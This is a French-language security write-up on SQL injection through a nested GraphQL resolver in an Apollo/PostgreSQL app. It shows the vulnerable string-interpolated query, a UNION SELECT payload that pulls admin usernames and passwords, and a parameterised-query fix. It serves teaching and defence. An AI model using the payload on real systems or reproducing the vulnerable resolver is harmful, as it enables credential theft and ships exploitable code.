Bien que GraphQL ait changé le paradigme du développement d'API, il n'a pas éliminé les vulnérabilités traditionnelles. En fait, la complexité de la résolution des requêtes imbriquées masque souvent des failles d'injection SQL sous-jacentes, en particulier lorsque les développeurs s'appuient sur des résolveurs personnalisés au lieu d'ORM robustes.
Le Contexte de la Vulnérabilité
Lors d'un récent engagement, j'ai rencontré un endpoint GraphQL gérant des profils utilisateurs. L'application utilisait Apollo Server et PostgreSQL. Bien que les requêtes de premier niveau aient été correctement paramétrées, un résolveur imbriqué spécifique pour filtrer les journaux d'activité des utilisateurs était vulnérable.
const resolvers = {
User: {
activityLogs: async (parent, args, context) => {
// VULNERABLE: Interpolation directe de chaîne de l'argument 'filter'
const query = `
SELECT * FROM logs
WHERE user_id = ${parent.id}
AND action_type = '${args.filter}'
`;
const result = await db.query(query);
return result.rows;
}
}
};Vecteur d'Exploitation
La vulnérabilité réside dans le paramètre args.filter. Étant donné que GraphQL autorise les requêtes profondément imbriquées, nous pouvons déclencher ce résolveur tout en demandant le profil d'un utilisateur. La charge utile doit sortir des guillemets simples et injecter un UNION SELECT pour extraire des données d'autres tables.
query {
user(id: 1) {
name
email
activityLogs(filter: "login' UNION SELECT 1, username, password, 4 FROM admin_users--") {
id
action_type
timestamp
}
}
}Cette charge utile a extrait avec succès les identifiants d'administration, en les mappant aux champs action_type et timestamp définis dans le schéma GraphQL pour le type ActivityLog.
Remédiation
Le correctif est simple : utilisez toujours des requêtes paramétrées ou un générateur de requêtes/ORM de confiance, même dans les résolveurs imbriqués.
const resolvers = {
User: {
activityLogs: async (parent, args, context) => {
// SECURE: Utilisation de requêtes paramétrées
const query = 'SELECT * FROM logs WHERE user_id = $1 AND action_type = $2';
const values = [parent.id, args.filter];
const result = await db.query(query, values);
return result.rows;
}
}
};